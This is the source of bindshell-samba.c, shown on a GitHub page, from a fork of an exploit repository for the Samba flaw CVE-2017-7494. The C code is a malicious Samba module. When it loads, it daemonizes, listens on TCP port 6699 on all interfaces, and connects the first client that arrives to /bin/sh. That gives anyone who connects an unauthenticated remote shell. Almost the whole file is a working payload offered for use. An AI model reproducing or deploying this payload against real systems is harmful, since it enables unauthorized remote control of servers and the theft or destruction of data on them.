forked from opsxcq/exploit-CVE-2017-7494
-
Notifications
You must be signed in to change notification settings - Fork 0
/
bindshell-samba.c
90 lines (67 loc) · 1.85 KB
/
bindshell-samba.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <unistd.h>
#define EXIT_SUCCESS 0
#define EXIT_FAILURE 1
static void detachFromParent(void) {
pid_t pid, sid;
// Are we a Daemon ?
if ( getppid() == 1 ){
return;
}
// Fork from the parent
pid = fork();
// Bad PID ?
if (pid < 0) {
exit(EXIT_FAILURE);
}
// Our PID is OK, but we will exit if this is the parent process
if (pid > 0) {
exit(EXIT_SUCCESS);
}
// And continue this execution if we were the child process
// Change our umask
umask(0);
// Create a new SID
// Ref: http://man7.org/linux/man-pages/man2/setsid.2.html
sid = setsid();
if (sid < 0) {
exit(EXIT_FAILURE);
}
// Let's move to / an directory that will always exist !
if ((chdir("/")) < 0) {
exit(EXIT_FAILURE);
}
}
int samba_init_module(void){
// Detach from Samba process, now we can work
detachFromParent();
// Data structures for our socket
int hostSocket;
int clientSocket;
struct sockaddr_in hostAddr;
// Socket creation
hostSocket = socket(PF_INET, SOCK_STREAM, 0);
// Initialize sockAddr
hostAddr.sin_family = AF_INET;
hostAddr.sin_port = htons(6699);
hostAddr.sin_addr.s_addr = htonl(INADDR_ANY);
// Bind our socket
bind(hostSocket, (struct sockaddr*) &hostAddr, sizeof(hostAddr));
// Listen for our client to serve the shell
listen(hostSocket, 2);
// Wait until we got an client
clientSocket = accept(hostSocket, NULL, NULL);
// Dup2 our stdin, stderr and stdout
dup2(clientSocket, 0);
dup2(clientSocket, 1);
dup2(clientSocket, 2);
// Spawn /bin/sh
execve("/bin/sh", NULL, NULL);
close(hostSocket);
return 0;
}